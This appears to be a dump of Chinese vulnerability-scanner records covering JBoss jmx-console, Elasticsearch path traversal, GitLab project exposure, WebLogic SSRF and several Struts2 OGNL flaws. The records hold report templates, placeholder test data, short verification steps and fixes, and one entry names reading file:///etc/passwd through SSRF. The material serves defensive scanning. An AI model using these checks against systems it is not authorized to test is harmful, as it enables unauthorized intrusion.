- 过滤 XML 中的相关关键词，比如：<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC 等。 |
|
[] | null | f | CT-157811 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157811} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | JBoss jmx-console 未授权访问指的是由于配置不当 JBoss jmx-console 管理后台在不需用户名和密码的情况下就能登录上而造成非授权访问、恶意在服务器进行非法操作。利用 JBoss jmx-console 未授权访问漏洞任意用户都可以登录 JBoss 管理控制台查看、修改服务器上资源，并可通过部署 war 包写入 webshell，进而通过系统提权控制服务器，危害很严重。 | null | 通过浏览器访问如下地址：
```
http://{{ detail.addr }}/jmx-console
```
如果直接进入管理控制台页面，表示存在该漏洞。 | JBoss jmx-console 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:09:11 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.4.4"}, {"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:1.5.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-8952 | CNNVD-201504-575 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 74353 | t | {CT-8952,CVE-2015-3337,CNVD-2015-02825,CNNVD-201504-575,74353} | medium | 4.3 | CNVD-2015-02825 | 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件（可以使 web 根目录以外的文件），甚至执行系统命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎，它主要用于云计算中，并支持通过HTTP使用JSON进行数据索引。 Elasticsearch 1.4.5之前版本和1.5.2之前1.5.x版本中存在目录遍历漏洞。当程序启用site插件时，远程攻击者可利用该漏洞读取任意文件。 | CVE-2015-3337 | CVE-2015-3337: Elasticsearch 路径遍历漏洞 | http | 暂无 | f | 30/4/2015 16:00:00 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 对传入的文件名参数进行过滤，并且判断是否是允许获取的文件类型，过滤回溯符 ../
5. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
|
[] | null | f | CT-157819 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157819} | medium | 0 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | GitLab projects 信息泄漏漏洞指的是 Gitlab /explore/projects 目录向项目的权限配置不当，可以在匿名状态下访问该目录页下的项目并查看项目源代码及配置文件。利用该漏洞攻击者可以在未授权的情况下获取项目代码及配置信息，并通过查看源代码或配置文件进一步获取数据库连接等的敏感信息，造成项目源代码及敏感信息的泄露。 | null | 在浏览器中访问如下地址：`{{ detail.addr }}` 的 `/explore/projects`路径，如果能够直接查看到目录下的项目信息，则表明存在该漏洞。 | GitLab projects 信息泄漏漏洞 | http | 暂无 | f | 15/3/2021 10:27:10 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
[] | null | f | CT-381893 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-381893} | medium | 0 | null | 1. 可以对外网、服务器所在内网、本地端口扫描，获取开放端口信息；主机信息收集，web 应用指纹识别，获取服务 banner 信息等；
2. 攻击内外网的 Web 应用，主要是使用 Get 参数就可以实现的攻击（比如 Struts2 漏洞利用，SQL 注入等）; 攻击运行在内网或本地的应用程序（比如溢出）;
3. 根据识别出的应用针对性的发送 payload 攻击，例如 struts2、redis、攻击内网、本地的应用程序及服务等；穿越防火墙；
4. 利用 file 等其他允许协议进行绕过攻击，比如利用 file 协议读取本地文件（file:///etc/passwd） | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | WebLogic 是美国 Oracle 公司出品的一个 application server ，确切的说是一个基于 JAVAEE 架构的中间件。WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。它将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic 长期以来一直被认为是市场上最好的 J2EE 工具之一，是商业市场上主要的 Java（J2EE）应用服务器软件之一，是世界上第一个成功商业化的 J2EE 应用服务器。WebLogic Server 拥有处理关键 Web 应用系统问题所需的性能、可扩展性和高可用性。
SSRF 漏洞，也称为 XSPA（跨站端口攻击），问题存在于应用程序在加载用户提供的 URL 时，没能正确验证服务器的响应，然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制（如防火墙），进而将受感染的服务器作为代理进行端口扫描，甚至访问系统中的数据。
Oracle WebLogic Server SSRF 漏洞指的是 weblogic 的相关组件存在是漏洞可利用来进行攻击，在未经授权的情况下通过 weblogic server 连接任意主机的任意 TCP 端口，根据响应来推断在此端口上是否有服务在监听此端口。攻击者通过利用此漏洞，即可在远程且未经授权的情况下对内外网的端口和服务发起扫描、读取主机上的敏感信息、对内网 Web 应用进行指纹识别，甚至利用掌握的信息对内网或本地服务器的漏洞发起进一步攻击，危害比较严重。
| null | 通过 brupsuite 发送上述数据包，如果能得到相应的返回信息，说明存在该漏洞。 | Oracle WebLogic Server 控制台帮助页 SSRF漏洞 | http | 暂无 | f | 11/3/2021 08:09:07 | 1. 禁用不需要的协议，只允许 HTTP 和 HTTPS 请求，可以防止类似于 file://, gopher://, ftp:// 等引起的问题。
2. 白名单的方式限制访问的目标地址，禁止对内网发起请求。
3. 过滤或屏蔽请求返回的详细信息，验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
4. 验证请求的文件格式,禁止跟随 301、302 跳转。
5. 限制请求的端口为 http 常用的端口，比如 80、443、8080、8000 等。
6. 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
- 解析目标URL
- 获取scheme、host（推荐使用系统内置函数完成,避免自己使用正则提取）。
- 校验scheme
- 检查 scheme 是否为合法 (如非特殊需求请只允许 http 和 https)。
- 获取解析IP
- 解析 host 获取 dns 解析后的 IP 地址。
- 检测IP是否合法
- 检查解析后的 IP 地址是否为外网地址或者合法 IP。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.11.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:struts:2.0.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-92555 | CNNVD-201008-173 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 41592 | t | {CT-92555,CVE-2010-1870,CNNVD-201008-173,41592} | high | 4.3 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | XWork是一个命令模式框架，用于支持Struts 2及其他应用。 在Atlassian Fisheye，Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单，远程攻击者可以借助(1)#context，(2)#_memberAccess，(3)#root，(4)#this，(5)#_typeResolver，(6)#_classResolver，(7)#_traceEvaluations，(8)#_lastEvaluation，(9)#_keepLastEvaluation和其他的OGNL上下文变量修改服务器端对象，并绕过ParameterInterceptors中的“#”保护机制。 | CVE-2010-1870 | CVE-2010-1870: Apache Atlassian Fisheye Struts Xwork设计错误漏洞 | http | 暂无 | f | 17/8/2010 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "2.3.1.2", "versionStartIncluding": "2.0.0"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:redhat:jboss_enterprise_web_server:1.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-127657 | CNNVD-201202-031 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 51628 | t | {CT-127657,CVE-2011-3923,CNNVD-201202-031,51628} | critical | 9.8 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Struts是一款建立Java web应用程序的开放源代码架构。漏洞允许恶意用户绕过内置在ParametersInterceptor中的所有保护(正则表达式模式，拒绝方法调用)，可在任何输出字符串注入恶意表达式作进一步求值。ParametersInterceptor中正则表达式把top['foo'](0)作为合法表达式，而OGNL作为(top['foo'])(0)处理，把'foo' action参数值作为OGNL表达式求值。这可导致恶意用户把任意OGNL语句设置在action输出的任意字符串变量中，并以OGNL表示求值，由于OGNL语句在HTTP参数值中，攻击者可以使用黑名单字符如#禁用方法的执行并执行任意方法，绕过ParametersInterceptor和OGNL库保护。 | CVE-2011-3923 | CVE-2011-3923: Apache Struts2 2.0.0～2.3.1.1 远程命令执行漏洞（S2-009） | http | 暂无 | f | 31/10/2019 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.2.3", "versionStartIncluding": "2.0.0"}]}] | null | f | CT-7260 | CNNVD-201203-021 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-7260,CVE-2012-0838,CNNVD-201203-021} | high | 9.6 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Struts 2.2.3.1之前的2版本中存在漏洞，该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入，修改run-time数据值，进而执行任意代码。 | CVE-2012-0838 | CVE-2012-0838: Apache Struts2 2.0.0～2.2.3 远程命令执行漏洞S2-007 | http | 暂无 | f | 2/3/2012 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "2.3.14.1", "versionStartIncluding": "2.0.0"}, {"cpe23Uri": "cpe:2.3:a:apache:struts2-showcase:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.3.13", "versionStartIncluding": "2.0.0"}]}] | null | f | CT-58678 | CNNVD-201305-486 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
